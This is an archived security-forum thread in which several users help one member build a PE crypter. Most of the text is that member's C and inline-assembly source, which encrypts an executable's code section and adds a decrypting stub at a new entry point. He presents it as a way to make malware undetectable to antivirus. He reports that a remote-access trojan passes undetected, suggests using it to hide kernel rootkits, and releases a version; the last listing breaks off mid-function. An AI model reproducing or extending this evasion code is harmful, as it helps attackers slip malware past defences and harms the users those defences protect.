Articles

Metasploit Framework Windows Tutorial
Remote Desktop Connection
Windows Processes That May Be Dangerous
How-To use NetCat a Tutorial
Common Linux Commands
Common Ports
Netcat Commands
HTTP Response Codes
War-Google Hack Terms
Wardriving
Avoiding Social Engineering and Phishing Attacks
Intrusion Detection on Linux
Linux Intrusion Detection
Penetration Testing Guide
Penetration Testing Tools
Social Engineering Fundamentals, Part I: Hacker Tactics
Social engineering (computer security)
The Psychology of Social Engineering

The Archives

General GSO
GovernmentSecurity.org News & Suggestions
In The News
Open Topic
General Security Information
Trash Can
Exploit & Vulnerability Mailing List Archives
Trial Member Forum
Product and Program Reviews GSO Tutorials
System Security
Windows Systems
Beginners Section
Linux & Unix Systems
File Downloads
Exploit Research & Discussion Trojan & Virus Errata
Networking Security / Firewall / IDS / VPN / Routers
System Hardening
E-Mail Security
Wifi Security
Trial Member Uploads
Upload discovered Trojans & Mal ware
GSO Programming Section
C , C++ , VC++
Visual Basic.NET
Perl /CGI
Java/Javascript
PHP/XML/ASP/HTML
Assembly + Other
The Cork Board
Network Security Consultant Directory
Network Security Jobs
The Archives
Encryption Information
General Network Security
Internet Anonymity
HTTP Protocol Security
Linux Security
MS IIS Information
Exploit Articles
Programming / Tool Design
GSO Software Projects
Public Downloads
Microsoft Security Questions and Papers

Full Version: Writing A Packer
tibbar
hi,

i am trying to write a packer and am having problems finding out which parts of the code section i am allowed to encrypt.

I initally tried crypting entire code section from imagebase + codebase to imagebase+codebase+codesize.

I then have a stub inserted at end of the file which decrypts this code section and jmps to the original entry point.

However, this leads to a crash on hitting the first imported function. I know that i have not touched the import table, since when i put the crypted file into olly i can inspect the import section and all looks fine.

i am guessing that what has happened is that normally the loader will copy the imported function addresses to an area inside the code section doing something like
call importedfunction1

and by crypting entire code section i have messed this up (so the loader cannot do its job properly).

So my question is how can i determine programatically, what part of the code section i can safely encrypt.

my project so far is below, there's a few messy bits in the source, and a few hardcoded offsets, but on the whole, the principal is there. Note it will only function correctly with progs that use base = 0x400000 at moment due to hard coding an offset.

Can anyone suggest a solution to the above?

[edit] solved.
tibbar
i suspect my problem is that the import stubs like:

CODE:00406440 ; BOOL __stdcall DeleteFileA(LPCSTR lpFileName)
CODE:00406440 DeleteFileA proc near ; CODE XREF: unknown_libname_61+Bp
CODE:00406440 jmp ds:__imp_DeleteFileA
CODE:00406440 DeleteFileA endp

live randomly throughout the code section.

Am i correct in thinking that the PE loader, replaces __imp_DeleteFileA with the actual address?

If so, I am screwed, and destined to write my own import table loader...
nolimit
hey tibbar, what unpackers call a "jump table" might be your problem as well. basically the compiler references all its calls to a place usually at the end of the .text section. It's pretty easy to find as it will look something like this
CODE

00404EC0   $-FF25 DC804000  JMP DWORD PTR DS:[<&KERNEL32.ResumeThrea>;  kernel32.ResumeThread
00404EC6   $-FF25 E0804000  JMP DWORD PTR DS:[<&KERNEL32.GetFileTime>;  kernel32.GetFileTime
00404ECC   $-FF25 E4804000  JMP DWORD PTR DS:[<&KERNEL32.CreateFileA>;  kernel32.CreateFileA
00404ED2   .-FF25 E8804000  JMP DWORD PTR DS:[<&KERNEL32.ExitProcess>;  kernel32.ExitProcess
00404ED8   $-FF25 EC804000  JMP DWORD PTR DS:[<&KERNEL32.GetFileSize>;  kernel32.GetFileSize
00404EDE   $-FF25 F0804000  JMP DWORD PTR DS:[<&KERNEL32.CloseHandle>;  kernel32.CloseHandle

your self unpacker can skip those, letting you use any of the functions there. You can also redefine your own IAT section, and fill in those jmps after you resolve all the addresses. If you chose to use the first option, and the unpacker uses a function not in the original program you could probably add it to the IAT table. It's too late for me to read all your code, but msg me on irc if you need any help on this.
belgther
Nolimit, but the jump table is usually in the code, and the dword pointers refer to the first thunk pointers because they are replaced by the process addresses while initializing an application. Also, when IAT remains unchanged and on the exact same place like the unpacked program, then there shouldn't be any problem with it. Tibbar also mentioned that he didn't touch import table at all, maybe this happens because the .text section has become smaller and everything moved wink.gif
Killaloop
well I don't see where the problem is here.
all a simple crypter does is:

1. crypt the opcodes
2. find place for the stub and place it there
3. put a jump to the decrypter stub (or change entry point) let it restore the opcodes and jump back to original OEP

what needs to be done for this is:
make the text section writeable.
find original entry point
find text section start and end
encrypt it
write a working stub and place it somewhere
change entry point to point to stub
if you have added the stub to the text section fix the virtual size else fix pe header.

well I always added the stub to an existing section and haven't had problems.
I guess you forgot to fix something when adding the section or something went wrong with it.
or you crypted more than you should crypt, but since I know you I'm sure this is fine.
my guess is something is not right with the added section.
I always used hex editor to manually encrypt files, but I'm really looking forward to this project. hope you can get it working.
sorry for my brain storming here smile.gif


tibbar
ok i got it sorted!

here was my error:

before:

CODE

StartLoop:
CMP EBX, EDX; // when these are the same, stop
JZ StopLooping
 mov EAX, [EBX]; // get value at address EBX
 dec EAX; // decrypt it
 mov [EBX], EAX; // put decrypted value back in right place
 inc EBX;
jmp StartLoop;
StopLooping:


after:

CODE

StartLoop:
 CMP EBX, EDX; // when these are the same, stop
 JZ StopLooping
  mov AL, BYTE PTR [EBX] // get value at address EBX
  dec AL; // decrypt it
  mov BYTE PTR [EBX], AL  // put decrypted value back in right place
  inc EBX;
 jmp StartLoop;
StopLooping:


as you can see, my first "encryption" was deducting one from each DWORD, this caused problem when you get a DWORD = FFFFFF.

Instead, i am now subtracting from each byte individually.

It's a pathetic encryption, but actually it works. I have tested on lithium rat and it becomes undetected afterwards, and still works correctly.

There's one issue left with getting the entry point correct. I am setting entry point to be:

CODE

optionHeader->AddressOfEntryPoint = (DWORD)storageSpot + 4 +0xC - (DWORD)hModule;


The +4 +C is just for allowing for some data i put in the memory before the stub, thats no worry.

The problem is that this entry point offset from image base only works for a very simple app (say hello world). When it has lots of sections, the offset is wrong. This is because the size of sections on disk is different to that in memory, due to the padding required for section alignment at 0x1000 in size. I therefore have been working out an adjustment to the entry point with olly for each app.

so far it has been + 0x6000 for netbrute.exe and + 0x1A00 for lithium server.exe.

I will try and figure out the extra offset due to the difference between size on disk and size in memory later on.

If you feel like playing around with it, the correct source is attached:

CODE

include <string.h>
#include <stdio.h>

#include "windows.h"
#include "limits.h"


void FunctionStart(){}

// this function will be copied into binary and will become the entry point
// it decrypts the code section and jmp's to the original entry point.
__declspec( naked )void DecryptAndStart()
{
// retrieve original entry point, which will live at eip - 4
// and codesize at eip - 2
DWORD eipVal;
DWORD codeSize;
DWORD entryPt;

_asm
{
//  int 3;
 // thanks to IDESPinner for this trick
 call jj; // think relative, this means go to next comand
 jj:
 pop EAX; // pop the EIP off the stack into EAX since it got pushed by the call

 mov EBX, EAX; // save eip in ebx

 mov ECX, [EAX - 0x15]; // original entry point rva in ECX

 mov EDX, [EBX - 0XD]; // codesize in EDX

 mov EAX, [EAX - 0x19]; // codebase in EAX
 
 mov EBX, [EBX - 0x11]; // imagebase in EBX

 add EAX, EBX; // actual address of code start in EAX

 add ECX, EBX; // actual address of entrypoint in ECX

 // now we loop from [EAX] to [EAX+EDX]
 mov EBX, EAX; // put code start address in EBX
 add EDX, EAX; // last item of code to decrypt in EDX
// inc EDX;   // but we stop once we are 1 past it
StartLoop:
 CMP EBX, EDX; // when these are the same, stop
 JZ StopLooping
  mov AL, BYTE PTR [EBX] // get value at address EBX
  dec AL; // decrypt it
  mov BYTE PTR [EBX], AL  // put decrypted value back in right place
  inc EBX;
 jmp StartLoop;
StopLooping:
 jmp ECX;
}

}

void FunctionEnd(){}

ULONG __fastcall GetSizeOfImage(
   IN PVOID pImageBase
   )
{
   // get DOS header
   IMAGE_DOS_HEADER * pDosHeader = (IMAGE_DOS_HEADER *)pImageBase;

   // find an offset to the main PE header ...
   IMAGE_FILE_HEADER * pFileHeader =
       (IMAGE_FILE_HEADER *)(((LPBYTE)pImageBase) +
                     pDosHeader->e_lfanew +
                     sizeof(IMAGE_NT_SIGNATURE));

   // ... and optional PE header
   IMAGE_OPTIONAL_HEADER * pOptHeader =
       (IMAGE_OPTIONAL_HEADER *)(((LPBYTE)pFileHeader) +
                     IMAGE_SIZEOF_FILE_HEADER);

   // calculate the size
   ULONG nSizeOfImage = pOptHeader->SizeOfHeaders;

   IMAGE_SECTION_HEADER * pSecHeader =
       (IMAGE_SECTION_HEADER *)(((LPBYTE)pOptHeader) +
                    pFileHeader->SizeOfOptionalHeader);

   // sum size of all image sections; this will result in the image
   // size
   for (int i = 0; i < pFileHeader->NumberOfSections; i++, pSecHeader++)
       nSizeOfImage += pSecHeader->SizeOfRawData;

   // return size of the executable
   return nSizeOfImage;
}

IMAGE_SECTION_HEADER* GetSectionHeader(IN PVOID pImageBase)
{
   // get DOS header
   IMAGE_DOS_HEADER * pDosHeader = (IMAGE_DOS_HEADER *)pImageBase;

   // find an offset to the main PE header ...
   IMAGE_FILE_HEADER * pFileHeader =
       (IMAGE_FILE_HEADER *)(((LPBYTE)pImageBase) +
                     pDosHeader->e_lfanew +
                     sizeof(IMAGE_NT_SIGNATURE));

   // ... and optional PE header
   IMAGE_OPTIONAL_HEADER * pOptHeader =
       (IMAGE_OPTIONAL_HEADER *)(((LPBYTE)pFileHeader) +
                     IMAGE_SIZEOF_FILE_HEADER);

   // calculate the size
   ULONG nSizeOfImage = pOptHeader->SizeOfHeaders;

   IMAGE_SECTION_HEADER * pSecHeader =
       (IMAGE_SECTION_HEADER *)(((LPBYTE)pOptHeader) +
                    pFileHeader->SizeOfOptionalHeader);
return pSecHeader;
}


PIMAGE_SECTION_HEADER FindLastSection(DWORD* pImageBase)
{
   // get DOS header
   IMAGE_DOS_HEADER * pDosHeader = (IMAGE_DOS_HEADER *)pImageBase;

// get NT header
   IMAGE_NT_HEADERS * pNtHeaders = (IMAGE_NT_HEADERS*)((DWORD)pImageBase+pDosHeader->e_lfanew);

// find an offset to the main PE header ...
   IMAGE_FILE_HEADER * pFileHeader =
       (IMAGE_FILE_HEADER *)(((LPBYTE)pImageBase) +
                     pDosHeader->e_lfanew +
                     sizeof(IMAGE_NT_SIGNATURE));

   // ... and optional PE header
   IMAGE_OPTIONAL_HEADER * pOptHeader =
       (IMAGE_OPTIONAL_HEADER *)(((LPBYTE)pFileHeader) +
                     IMAGE_SIZEOF_FILE_HEADER);

   IMAGE_SECTION_HEADER * sectionHeader =
       (IMAGE_SECTION_HEADER *)(((LPBYTE)pOptHeader) +
                    pFileHeader->SizeOfOptionalHeader);

DWORD newSectionOffset;
DWORD SectionNum = pNtHeaders->FileHeader.NumberOfSections;

DWORD currentMaxVA = 0;
int pos = 0;

IMAGE_SECTION_HEADER* tempHeader = sectionHeader;
DWORD headerSize = sizeof(IMAGE_SECTION_HEADER);
for(int i = 0; i < SectionNum; i++)
{
 if((DWORD)(tempHeader->VirtualAddress) > currentMaxVA)
 {
  currentMaxVA = (DWORD)(tempHeader->VirtualAddress);
  pos = i;
 }
 tempHeader = (IMAGE_SECTION_HEADER*)((DWORD)tempHeader + headerSize);
}

IMAGE_SECTION_HEADER* lastSectionHeader = (IMAGE_SECTION_HEADER*)((DWORD)sectionHeader + pos*sizeof(IMAGE_SECTION_HEADER));
return lastSectionHeader;
}


PIMAGE_SECTION_HEADER FindSection(DWORD* pImageBase, DWORD sectionbase)
{
   // get DOS header
   IMAGE_DOS_HEADER * pDosHeader = (IMAGE_DOS_HEADER *)pImageBase;

// get NT header
   IMAGE_NT_HEADERS * pNtHeaders = (IMAGE_NT_HEADERS*)((DWORD)pImageBase+pDosHeader->e_lfanew);

// find an offset to the main PE header ...
   IMAGE_FILE_HEADER * pFileHeader =
       (IMAGE_FILE_HEADER *)(((LPBYTE)pImageBase) +
                     pDosHeader->e_lfanew +
                     sizeof(IMAGE_NT_SIGNATURE));

   // ... and optional PE header
   IMAGE_OPTIONAL_HEADER * pOptHeader =
       (IMAGE_OPTIONAL_HEADER *)(((LPBYTE)pFileHeader) +
                     IMAGE_SIZEOF_FILE_HEADER);

   IMAGE_SECTION_HEADER * sectionHeader =
       (IMAGE_SECTION_HEADER *)(((LPBYTE)pOptHeader) +
                    pFileHeader->SizeOfOptionalHeader);

DWORD newSectionOffset;
DWORD SectionNum = pNtHeaders->FileHeader.NumberOfSections;

DWORD currentMaxVA = 0;
int pos = 0;

IMAGE_SECTION_HEADER* tempHeader = sectionHeader;
DWORD headerSize = sizeof(IMAGE_SECTION_HEADER);
for(int i = 0; i < SectionNum; i++)
{
 if(tempHeader->VirtualAddress == sectionbase)
 {
  return tempHeader;
 }
 tempHeader = (IMAGE_SECTION_HEADER*)((DWORD)tempHeader + headerSize);
}

return NULL;
}

void MakeAllSectionsWritable(DWORD* pImageBase)
{
   // get DOS header
   IMAGE_DOS_HEADER * pDosHeader = (IMAGE_DOS_HEADER *)pImageBase;

// get NT header
   IMAGE_NT_HEADERS * pNtHeaders = (IMAGE_NT_HEADERS*)((DWORD)pImageBase+pDosHeader->e_lfanew);

// find an offset to the main PE header ...
   IMAGE_FILE_HEADER * pFileHeader =
       (IMAGE_FILE_HEADER *)(((LPBYTE)pImageBase) +
                     pDosHeader->e_lfanew +
                     sizeof(IMAGE_NT_SIGNATURE));

   // ... and optional PE header
   IMAGE_OPTIONAL_HEADER * pOptHeader =
       (IMAGE_OPTIONAL_HEADER *)(((LPBYTE)pFileHeader) +
                     IMAGE_SIZEOF_FILE_HEADER);

   IMAGE_SECTION_HEADER * sectionHeader =
       (IMAGE_SECTION_HEADER *)(((LPBYTE)pOptHeader) +
                    pFileHeader->SizeOfOptionalHeader);

DWORD newSectionOffset;
DWORD SectionNum = pNtHeaders->FileHeader.NumberOfSections;

DWORD currentMaxVA = 0;
int pos = 0;

IMAGE_SECTION_HEADER* tempHeader = sectionHeader;
DWORD headerSize = sizeof(IMAGE_SECTION_HEADER);
for(int i = 0; i < SectionNum; i++)
{
 tempHeader->Characteristics |= IMAGE_SCN_MEM_WRITE;
 tempHeader = (IMAGE_SECTION_HEADER*)((DWORD)tempHeader + headerSize);
}

return;
}

PIMAGE_SECTION_HEADER AddSection(DWORD* pImageBase, DWORD codeVirtualStart, DWORD codeSize)
{
   // get DOS header
   IMAGE_DOS_HEADER * pDosHeader = (IMAGE_DOS_HEADER *)pImageBase;

// get NT header
   IMAGE_NT_HEADERS * pNtHeaders = (IMAGE_NT_HEADERS*)((DWORD)pImageBase+pDosHeader->e_lfanew);

// find an offset to the main PE header ...
   IMAGE_FILE_HEADER * pFileHeader =
       (IMAGE_FILE_HEADER *)(((LPBYTE)pImageBase) +
                     pDosHeader->e_lfanew +
                     sizeof(IMAGE_NT_SIGNATURE));

   // ... and optional PE header
   IMAGE_OPTIONAL_HEADER * pOptHeader =
       (IMAGE_OPTIONAL_HEADER *)(((LPBYTE)pFileHeader) +
                     IMAGE_SIZEOF_FILE_HEADER);

   IMAGE_SECTION_HEADER * sectionHeader =
       (IMAGE_SECTION_HEADER *)(((LPBYTE)pOptHeader) +
                    pFileHeader->SizeOfOptionalHeader);

DWORD newSectionOffset;
DWORD SectionNum = pNtHeaders->FileHeader.NumberOfSections;

newSectionOffset = (DWORD)sectionHeader
 +pNtHeaders->FileHeader.NumberOfSections*sizeof(IMAGE_SECTION_HEADER) - (DWORD)pImageBase;

// check whether there's room for a new section
if(pNtHeaders->OptionalHeader.SizeOfHeaders<(newSectionOffset+sizeof(IMAGE_SECTION_HEADER)))
{
 return NULL;
}

// increase SizeOf

// create a new section

IMAGE_SECTION_HEADER* newsection = (IMAGE_SECTION_HEADER*)((DWORD)pImageBase + newSectionOffset);

// go to the last section
// for(DWORD i=0;i<(SectionNum-1);i++)
// {
//  PEfile.image_section_header[i].Characteristics=
//   PEfile.image_section_header[i].Characteristics | IMAGE_SCN_MEM_WRITE;
// }

// start to build the new section
DWORD n = sizeof(IMAGE_SECTION_HEADER);
CopyMemory(newsection,
     (IMAGE_SECTION_HEADER*)((DWORD)newsection - n),
     sizeof(IMAGE_SECTION_HEADER));

// VirtualAddress...
/* DWORD sectionAlignment = pNtHeaders->OptionalHeader.SectionAlignment;

newsection->VirtualAddress = codeVirtualStart - codeVirtualStart%sectionAlignment;
newsection->Misc.VirtualSize = codeSize + codeSize%sectionAlignment;

// RawSize..
DWORD alignment = pNtHeaders->OptionalHeader.FileAlignment;
if(codeSize < alignment) newsection->SizeOfRawData = alignment;
else newsection->SizeOfRawData = codeSize + codeSize % alignment;

// Section name
int l=(int)strlen(".stub");
FillMemory(newsection->Name,8,0x00);
CopyMemory(newsection->Name,".stub",l);

// Characteristics
newsection->Characteristics=
 IMAGE_SCN_MEM_WRITE|
 IMAGE_SCN_MEM_READ|
 IMAGE_SCN_MEM_EXECUTE|
 IMAGE_SCN_CNT_UNINITIALIZED_DATA |
 IMAGE_SCN_CNT_INITIALIZED_DATA|
 IMAGE_SCN_CNT_CODE;//0xE00000E0;

// RawOffset
newsection->PointerToRawData = codeVirtualStart - codeVirtualStart%alignment;

newsection->Misc.PhysicalAddress = newsection->Misc.VirtualSize;
newsection->NumberOfLinenumbers = 0;
newsection->NumberOfRelocations = 0;
newsection->PointerToLinenumbers = 0;
newsection->PointerToRelocations = 0;
*/
// update the PE header
pNtHeaders->FileHeader.NumberOfSections++;
// newsection -> will be returned
return (PIMAGE_SECTION_HEADER)newsection;
}



int main( int argc, char* argv[] )
{
HANDLE hFile = CreateFile(
      argv[1],
      GENERIC_WRITE | GENERIC_READ,
      FILE_SHARE_READ | FILE_SHARE_WRITE,
      NULL,
      OPEN_EXISTING,
      FILE_ATTRIBUTE_NORMAL,
      NULL);
// get size of file
LARGE_INTEGER bigInt;
BOOL diditWork = GetFileSizeEx(hFile, &bigInt);
// assume it's DWORD or less
DWORD fileSize = bigInt.LowPart;
if(fileSize + 0x2000 >= ULONG_MAX) return 0;


HANDLE hFileMap = CreateFileMapping(
      hFile,
      NULL,
      PAGE_READWRITE,// | SEC_IMAGE,
      bigInt.HighPart,
      bigInt.LowPart + 0x2000 ,
      "myfile");

// map file into memory
LPVOID hMap = MapViewOfFile(
     hFileMap,
     FILE_MAP_WRITE,
     0,
     0,
     0);

HMODULE hModule = (HMODULE)hMap;
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hModule;
// PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)pDosHeader->e_lfanew;
// IMAGE_OPTIONAL_HEADER optionHeader = (IMAGE_OPTIONAL_HEADER)pNtHeader->OptionalHeader;
IMAGE_OPTIONAL_HEADER* optionHeader =(IMAGE_OPTIONAL_HEADER *) ((BYTE*)hModule+pDosHeader->e_lfanew+24);

VOID* pBaseCode = (VOID*)optionHeader->BaseOfCode;
DWORD codeSize = optionHeader->SizeOfCode;

IMAGE_SECTION_HEADER* sectionHeader = GetSectionHeader(hModule);

// unprotect code
BOOL diditwork = VirtualProtect((void*)((DWORD)hModule + (DWORD)pBaseCode), codeSize, PAGE_READWRITE, NULL);
DWORD x = GetLastError();
// crypt code

IMAGE_SECTION_HEADER* codeSection = FindSection((DWORD*)hModule, (DWORD)pBaseCode);
DWORD rawCodePosition = codeSection->PointerToRawData;

DWORD virtualCodeSize = codeSection->Misc.VirtualSize;

DWORD startpos = (DWORD)hModule + (DWORD)rawCodePosition;
DWORD endpos = startpos + virtualCodeSize;

_asm
{
 mov EBX, startpos;
 mov EDX, endpos;
StartLoop:
 CMP EBX, EDX; // when these are the same, stop
 JZ StopLooping
  mov AL, BYTE PTR [EBX] // get value at address EBX
  inc AL; // decrypt it
  mov BYTE PTR [EBX], AL  // put decrypted value back in right place
  inc EBX;
 jmp StartLoop;
StopLooping:
}

// store rva from new entry point to original entry point at position pBaseCode + fileSize + 2
// DWORD originalEntryPoint = (DWORD)hModule + optionHeader->AddressOfEntryPoint;
DWORD* storageSpot = (DWORD*)((DWORD)hModule + (DWORD)pBaseCode + fileSize + 2);
*storageSpot = (DWORD)optionHeader->AddressOfEntryPoint; //originalEntryPoint- ((DWORD)storageSpot + 2);

// store codebase at storagespot - 1
*(storageSpot - 1) = (DWORD)pBaseCode;

// store base at storagespot + 1
*(storageSpot + 1) = (DWORD)optionHeader->ImageBase;

// store original code size at position storageSpot + 2
*(storageSpot + 2) = virtualCodeSize;//virtualCodeSize;//;

// now we need to add our decryption routine to storageSpot + 4 (say)
int dSize = (PBYTE)FunctionStart -  (PBYTE)FunctionEnd;
DWORD start = (DWORD) FunctionStart;
DWORD end = (DWORD) FunctionEnd;
DWORD length = (end - start);
memcpy(storageSpot + 4, DecryptAndStart, length);


// set new code as executable
// IMAGE_SECTION_HEADER* newsection = AddSection((DWORD*)hModule, (DWORD)storageSpot + 4 - (DWORD)hModule, length);

// to do this we will simply find the last section (i.e. one with highest RVA
// and extend this by size needed
// and set it to executable
IMAGE_SECTION_HEADER* lastSection = FindLastSection((DWORD*)hModule);

lastSection->Misc.VirtualSize += 0x2000;
lastSection->SizeOfRawData += 0x2000;
lastSection->Characteristics = IMAGE_SCN_MEM_WRITE|
        IMAGE_SCN_MEM_READ|
        IMAGE_SCN_MEM_EXECUTE|
        IMAGE_SCN_CNT_UNINITIALIZED_DATA |
        IMAGE_SCN_CNT_INITIALIZED_DATA|
        IMAGE_SCN_CNT_CODE;//0xE00000E0;

// set new entry point
optionHeader->SizeOfImage += 0x2000;
optionHeader->SizeOfCode += 0x2000;
optionHeader->SizeOfInitializedData += 0x2000;
optionHeader->AddressOfEntryPoint = (DWORD)storageSpot + 4 +0xC - (DWORD)hModule + 0x1A00;// + 0x6000;

// finally we need to set the main code section as writable for our stub to decrypt it!

MakeAllSectionsWritable((DWORD*)hModule);
}

tibbar
oh i just had a thought, this same method would work fine on kernel drivers too - e.g. to encrypt a kernel rootkit against detection.
Killaloop
thanks for the source very nice.
well the problem you talk about it the virtual size not beeing the same as the raw size.
so basically what you need is a way to get the file offsets calculated out of the rva values for each section to get the offset for your entry point

RVA = ((RVA + VirtualSize)/obj_alignment+1) *obj_alignment
VirtualSize = ((size_of_stub+buffer)/obj_alignment+1) *obj_alignment
PhysicalSize = (size_of_stub/File_Alignment+1)*File_Alignment
PhysicalOffset = PhysicalOffset + PhysicalSize
ch0pper
see your problem smile.gif
ok, let's say that there are at least two types of encryptors/packers/whatever

1) like upx
2) like morphine

type 1) is prolly better, maybe better for something and worse for something else
this way you just play with sections in PE file and leave the whole work to OS
loader
you just have a small piece of code at the beginning - like a virus
and you do everything "on place"

type 2) does nothing "on place"
it has its own loader that cares about loading sections to the place,
export/import fixups, tls thingz etc.


you are trying to make type 1) which should be easier
ok, now back to your problem smile.gif
you are right
depending on compiler there are some RVA ptrs from import section to somewhere
it is compiler dependent where,
so you are not able to make it this way
you'd rather rewrite whole import section, you just need from each dll to have one
function
just to be sure the OS loader loads the dll and you'll have old import table saved
and in your
decrypting part you just fix it

upx source code is quite big and strange (i mean architecture independent and all the
stuff like
this smile.gif)
so it is hard to read it

so in short you were right, you need to care about it yourself smile.gif
tibbar
killaloop, yes you are on the ball with the difference between raw vs in memory. i'll sort it out when i next have some free time.

the imports are not a problem, is was just a mistake in the way i crypted the code section.

i had a look through morphine source, very interesting piece of code. holyfather must have spent ages writing his own loader. i thought about this, but figured it would take too much effort for the time being.

to me this is interesting from the perspective of simply how weak today's AV are. they work purely on signatures, and heuristic scanning doesnt really exist, even though they would like you to believe they do something more clever.

sure eventually the AV will recognise my stub function, but that would take 5 minutes to modify and we then get back to square one.

my conclusion is that AV need to think a bit more intelligently about scanning. it's not enough to scan a binary, to stand any chance they need to actually scan the memory space of the process after execution has begun. But that goes against many rules in software, and would cause deadlocks in multithreaded apps.

so overall, the end user is f***ed when it comes to being safe from malware.

using very simple techiques like above, you can make any app undetected.
ch0pper
at first sorry for mistake
with that type 1) you don't always need to fixup imports
loader should not write to code section when fixing imports - it setup iat


> as you can see, my first "encryption" was deducting one from
> each DWORD, this caused problem when you get a DWORD =
> FFFFFF.
k

> It's a pathetic encryption, but actually it works. I have
> tested on lithium rat and it becomes undetected afterwards,
> and still works correctly.
sure, any trivial encryption alg that will be undetected
because AVs are stupid and can't handle encryptor if the don't know it


> There's one issue left with getting the entry point correct.
> I am setting entry point to be:
>
> CODE
> optionHeader->AddressOfEntryPoint = (DWORD)storageSpot + 4
> +0xC - (DWORD)hModule;
>
>
> The +4 +C is just for allowing for some data i put in the
> memory before the stub, thats no worry.
>
> The problem is that this entry point offset from image base
> only works for a very simple app (say hello world). When it
> has lots of sections, the offset is wrong. This is because
> the size of sections on disk is different to that in memory,
> due to the padding required for section alignment at 0x1000
> in size. I therefore have been working out an adjustment to
> the entry point with olly for each app.
>
> so far it has been + 0x6000 for netbrute.exe and + 0x1A00
> for lithium server.exe.
>
> I will try and figure out the extra offset due to the
> difference between size on disk and size in memory later on.
>
> If you feel like playing around with it, the correct source
> is attached:
i was playing long hours with morphine smile.gif i know what this stuff is like
there is always few bytes wrong and it doesn't work
there is some counting with addresses, RVA, raw offsets ...

> oh i just had a thought, this same method would work fine on
> kernel drivers too - e.g. to encrypt a kernel rootkit
> against detection?
yes it is possible to make kernel driver encryption

you now just encode code section ? or other sections too ?
lobas
is upx open source can u edit to make it different
tibbar
upx is open, but is not very easy to follow.

ch0pper - data sections can wait for version 0.1, plus i intend to write a polymorphic encryption to repace the inc / dec.
ch0pper
cant wait m8 thanks sum nice code there !

tongue.gif
tibbar
ok guys here's the final release 0.0. Works on all nonpacked files i have tried and has avoided AV detection for those progs.

Code is below, binary is in downloads.

CODE

/*

CodeCrypt 0.0 Written by Tibbar @ GSO.  You may use this code in your own projects
for non-commercial purposes provided you give credit to the author.

This is provided for educational purposes only.
No legal reponsibility is held or accepted by the author for misuse of this code.

*/

#include <string.h>
#include <stdio.h>

#include "windows.h"
#include "limits.h"


void FunctionStart(){}

// this function will be copied into binary and will become the entry point
// it decrypts the code section and jmp's to the original entry point.
__declspec( naked )void DecryptAndStart()
{
// retrieve original entry point, which will live at eip - 4
// and codesize at eip - 2
DWORD eipVal;
DWORD codeSize;
DWORD entryPt;

_asm
{
//  int 3;
 // thanks to IDESPinner for this trick
 call jj; // think relative, this means go to next comand
 jj:
 pop EAX; // pop the EIP off the stack into EAX since it got pushed by the call

 mov EBX, EAX; // save eip in ebx

 mov ECX, [EAX - 0x15]; // original entry point rva in ECX

 mov EDX, [EBX - 0XD]; // codesize in EDX

 mov EAX, [EAX - 0x19]; // codebase in EAX
 
 mov EBX, [EBX - 0x11]; // imagebase in EBX

 add EAX, EBX; // actual address of code start in EAX

 add ECX, EBX; // actual address of entrypoint in ECX

 // now we loop from [EAX] to [EAX+EDX]
 mov EBX, EAX; // put code start address in EBX
 add EDX, EAX; // last item of code to decrypt in EDX
// inc EDX;   // but we stop once we are 1 past it
StartLoop:
 CMP EBX, EDX; // when these are the same, stop
 JZ StopLooping
  mov AL, BYTE PTR [EBX] // get value at address EBX
  dec AL; // decrypt it
  mov BYTE PTR [EBX], AL  // put decrypted value back in right place
  inc EBX;
 jmp StartLoop;
StopLooping:
 jmp ECX;
}

}

void FunctionEnd(){}

ULONG __fastcall GetSizeOfImage(
   IN PVOID pImageBase
   )
{
   // get DOS header
   IMAGE_DOS_HEADER * pDosHeader = (IMAGE_DOS_HEADER *)pImageBase;

   // find an offset to the main PE header ...
   IMAGE_FILE_HEADER * pFileHeader =
       (IMAGE_FILE_HEADER *)(((LPBYTE)pImageBase) +
                     pDosHeader->e_lfanew +
                     sizeof(IMAGE_NT_SIGNATURE));

   // ... and optional PE header
   IMAGE_OPTIONAL_HEADER * pOptHeader =
       (IMAGE_OPTIONAL_HEADER *)(((LPBYTE)pFileHeader) +
                     IMAGE_SIZEOF_FILE_HEADER);

   // calculate the size
   ULONG nSizeOfImage = pOptHeader->SizeOfHeaders;

   IMAGE_SECTION_HEADER * pSecHeader =
       (IMAGE_SECTION_HEADER *)(((LPBYTE)pOptHeader) +
                    pFileHeader->SizeOfOptionalHeader);

   // sum size of all image sections; this will result in the image
   // size
   for (int i = 0; i < pFileHeader->NumberOfSections; i++, pSecHeader++)
       nSizeOfImage += pSecHeader->SizeOfRawData;

   // return size of the executable
   return nSizeOfImage;
}

IMAGE_SECTION_HEADER* GetSectionHeader(IN PVOID pImageBase)
{
   // get DOS header
   IMAGE_DOS_HEADER * pDosHeader = (IMAGE_DOS_HEADER *)pImageBase;

   // find an offset to the main PE header ...
   IMAGE_FILE_HEADER * pFileHeader =
       (IMAGE_FILE_HEADER *)(((LPBYTE)pImageBase) +
                     pDosHeader->e_lfanew +
                     sizeof(IMAGE_NT_SIGNATURE));

   // ... and optional PE header
   IMAGE_OPTIONAL_HEADER * pOptHeader =
       (IMAGE_OPTIONAL_HEADER *)(((LPBYTE)pFileHeader) +
                     IMAGE_SIZEOF_FILE_HEADER);

   // calculate the size
   ULONG nSizeOfImage = pOptHeader->SizeOfHeaders;

   IMAGE_SECTION_HEADER * pSecHeader =
       (IMAGE_SECTION_HEADER *)(((LPBYTE)pOptHeader) +
                    pFileHeader->SizeOfOptionalHeader);
return pSecHeader;
}


PIMAGE_SECTION_HEADER FindLastSection(DWORD* pImageBase)
{
   // get DOS header
   IMAGE_DOS_HEADER * pDosHeader = (IMAGE_DOS_HEADER *)pImageBase;

// get NT header
   IMAGE_NT_HEADERS * pNtHeaders = (IMAGE_NT_HEADERS*)((DWORD)pImageBase+pDosHeader->e_lfanew);

// find an offset to the main PE header ...
   IMAGE_FILE_HEADER * pFileHeader =
       (IMAGE_FILE_HEADER *)(((LPBYTE)pImageBase) +
                     pDosHeader->e_lfanew +
                     sizeof(IMAGE_NT_SIGNATURE));

   // ... and optional PE header
   IMAGE_OPTIONAL_HEADER * pOptHeader =
       (IMAGE_OPTIONAL_HEADER *)(((LPBYTE)pFileHeader) +
                     IMAGE_SIZEOF_FILE_HEADER);

   IMAGE_SECTION_HEADER * sectionHeader =
       (IMAGE_SECTION_HEADER *)(((LPBYTE)pOptHeader) +
